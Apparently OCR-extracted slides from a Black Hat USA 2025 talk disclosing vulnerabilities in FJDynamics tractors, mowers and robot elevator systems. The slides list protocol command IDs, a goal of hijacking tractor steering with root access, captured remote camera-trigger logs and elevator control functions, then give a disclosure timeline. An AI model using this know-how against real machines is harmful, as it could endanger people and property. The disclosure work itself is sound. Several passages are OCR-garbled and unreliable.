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blg.c’:k hat

Protocol Communication Flow

Normal command flow

1. Heartbeat maintenance (Commands 0x57) - System alive
2. Waypoint upload (Command 0xAD) - Navigation data
3. Config request (Command OxAB) - Parameter queries

4. Execution command (Command 0x55) - Task initiation

What we want as PoC
1. Use our root access to steer the tractor

2. Directly send commands to steering wheel and block interactions from the original software

#BHUSA @BlackHatEvents
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2025-06-16T10:34:07.060127 | iot-emg-ne.fjdac.com | /sys/KxhOksLW/default/FJLQ174252001727
C/function/invoke/reply | {'functionId': 'takePhoto', 'messageld': '1934560102874513408",
‘output': {'desc': 'takePhotoE#HEim 1934560102874513408', 'result': 'l', 'ts': 17500700
51359, 'wrl': "https://middle-mower-ne-1304943718. e
f1750070050186.png"'}, 'success': True, 'timestamp': 1750070051359}
2025-06-16T10:34:10.138817 | grader-emg-ne.fjdac.com | /sys/KxhOkslLW/default/FJLQ174252001
12ZC/function/invoke/reply | {'functionId': 'takePhoto', 'messageld’': '1934560115507757056
', 'output': {'desc': 'takePhotoE &R im 1934560115507757056', ‘'result': '1', 'ts': 17500
TARRAARG 'url ' "hitps://middle-mower-ne-1304943718. ) . i | | '
S1750070053234.png'}, 'success': True, 'timestamp': 1750070054439}
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Event Timeline

_calc_call_elevator_point

_calc_enter_elevator_point

_calc_exit_elevator_point

_calc_going_back to_elevator_point

_calc_left_elevator point

_call _elevator_and wait_elevator_arrive _current_floor
_call_elevator_periodicity

_get_elevator_state

_is_robot_already_enter_elevator_car
_is_robot_already left elevator car

_is_robot_in_elevator_car

_is_robot_in_elevator_car
_is_robot_in_elevator_door_stuck_position
_is_robot_in_elevator_door_stuck_position
_is_robot_out_elevator_car

_is_robot_out_elevator car

_keep elevator door open_wait robot_arrive_enter_elevator point
_keep_elevator_door_open_wait_robot_arrive_left_elevator_point
_M realloc_insert<cr::elevator::CarConfig_consté&=>

00:36:29 - openDoor (Floor 9241017181009059)
00:36:41 - callElevator (12s later)

00:36:41 - closeDoor (Floor 9241017181009059)
00:37:04 - openDoor (Floor 9241017181009057)

= Supplier: beijiaxin

e T "

_M realloc_insert<cr::elevator::FloorConfig_const&=>

—~ femm i mmemel mlmssmdb e ~Fkadks v mslalem s e e .
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I&A{gﬁﬂ{gm% j\\ N

Robot elevators The robot opens Introduction to Robot information

BEEFEE: (1) NBAEBSIr, BAWifi, 4G, LoRa, BEFA
EESEINEHERR, REAQMRR &N TR,
SCIRIFHRIIEE,

(2) AEAIHEISEER, REBMNESRBBENRT
1T, T3, INEH. EEXIIFEERESBINHBA,
PAEHNER A BB IETRFEE BRI

= -

AIEILEA KEIEA RFUEA

(oo}
EALEA RENEA HUANEA -

MR (1) NEARABRE, BAWIf. 4G, LoRa, BF -
B E ERERS, RARDSSHRREEE, | W
R ECHIES, NOREREAR, BREIEA (oo}
2|61,
(2) REEERERHTT, ROENARRERE
SRR IRANISEA  LAGHSE ASBT LR, =

TlGlll

Robot elevators

Bekaxin robot elevator system

According to IFR statistics, the scale of China's service robot market continued
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Coordinated Vulnerability Disclosure (CVD)

blg’ck hat
USA 2025

25.06.2024: (Limes) Initial disclosure email to service@fjdynamics.com and pr@fjdynamics.com - announces vulnerabilities, requests S/MIME/GPG for

secure com,
01.07.2024: (Limes) Reminder email about vulnerabilities and secure com.

03.07.2024: (FJD InfoSec) First response - requests detailed vulnerability information

03.07.2024: (Limes) Felix on vacation, will respond end of next week

10.07.2024: (FID) Holiday wishes, requests vulnerability details upon return

30.08.2024: (Limes) Sends vulnerability report with attachment

30.08.2024: (FJD) Acknowledges report, initiates emergency response process

20.09.2024: (Limes) Request for advisory review update

21.10.2024: (Limes) Request for advisory review update

11.03.2025: (Limes) Request for update, mentions upcoming publication

12.03.2025: (FJD) Claims vulnerability fixed in firmware 1.0.3.20241209, requests disclosure timeline sync
12.03.2025: (Limes) Asks for timeline

21.03.2025: (Limes) Asks for timeline, mentions summer publication plan

21.03.2025: (FJD) States most issues resolved, can be fixed before announcement

27.05.2025: (Limes) Asks which specific issues have been addressed

12.06.2025: (Limes) Reports vulnerabilities still not fixed, conference disclosure pending
13.06.2025: (FID) Mentions latest fixed version 25.1, expected release June 20th
13.06.2025: (Limes) Confirms testing on version 24.103

01.07.2025: (Limes) Asks about fixes and version verification

02.07.2025: (FJD) Requests SN serial number for upgrade service push

#BHUSA @BlackHatEvents
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Lessons learned

6

0]

Security Awareness in
agriculture is low
More security testing
needed

blg’ckhat’
USA 2025
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But will it run DOOM?
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